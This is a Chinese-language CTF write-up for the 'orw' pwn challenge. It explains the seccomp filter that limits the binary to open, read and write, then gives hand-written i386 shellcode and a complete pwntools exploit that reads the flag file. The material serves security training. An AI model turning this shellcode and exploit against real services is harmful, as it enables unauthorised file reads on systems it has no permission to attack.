checksec:
题目明示shellcode,用户输入后就会直接跳转到输入的位置
用pwntools的shellcraft生成的shellcode打不通,原因就在于main函数起始位置的orw_seccomp函数
不是很懂这个函数的操作,最后看了别人的博客才明白seccomp是通过prctl函数实现的一种安全机制,该模式下只允许少量的系统调用。
详情见https://www.jianshu.com/p/75e157cea215
使用seccomp-tools工具查看可用的系统调用,下载地址:https://github.com/david942j/seccomp-tools
open,write和read都可用,所以考虑用这三个函数读取并显示flag文件。
接下来构造shellcode。
1 xor ecx,ecx; 2 xor edx,edx; 3 push 0x0; #字符串以\x00结尾 4 push 0x67616c66; #flag 5 mov ebx,esp; 6 mov eax,0x5; 7 int 0x80; 8 #open 9 mov ebx,0x3; 10 mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址 11 mov edx, 0x40; 12 mov eax, 0x3; 13 int 0x80; 14 #read 15 mov ebx, 0x1; 16 mov ecx, 0x0804A0A0; 17 mov edx, 0x40; 18 mov eax, 0x4; 19 int 0x80;
#write
read函数的fd之所以是3,是因为默认情况下,0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开0,1,2这三个文件描述符。所以通常我们open的返回值是从3开始的
完整exp:
#!/usr/bin/python from pwn import * from LibcSearcher import * #a=remote("node3.buuoj.cn",29862) a=process("orw") elf=ELF("orw") context(arch='i386',os='linux',log_level='debug') shellcode = asm(''' xor ecx,ecx; xor edx,edx; push 0x0 push 0x67616c66; mov ebx,esp; mov eax,0x5; int 0x80; mov ebx,0x3; mov ecx, 0x0804A0A0; mov edx, 0x40; mov eax, 0x3; int 0x80; mov ebx, 0x1; mov ecx, 0x0804A0A0; mov edx, 0x40; mov eax, 0x4; int 0x80; ''') print len(shellcode) a.recvuntil("Give my your shellcode:") payload=shellcode a.sendline(payload) a.interactive()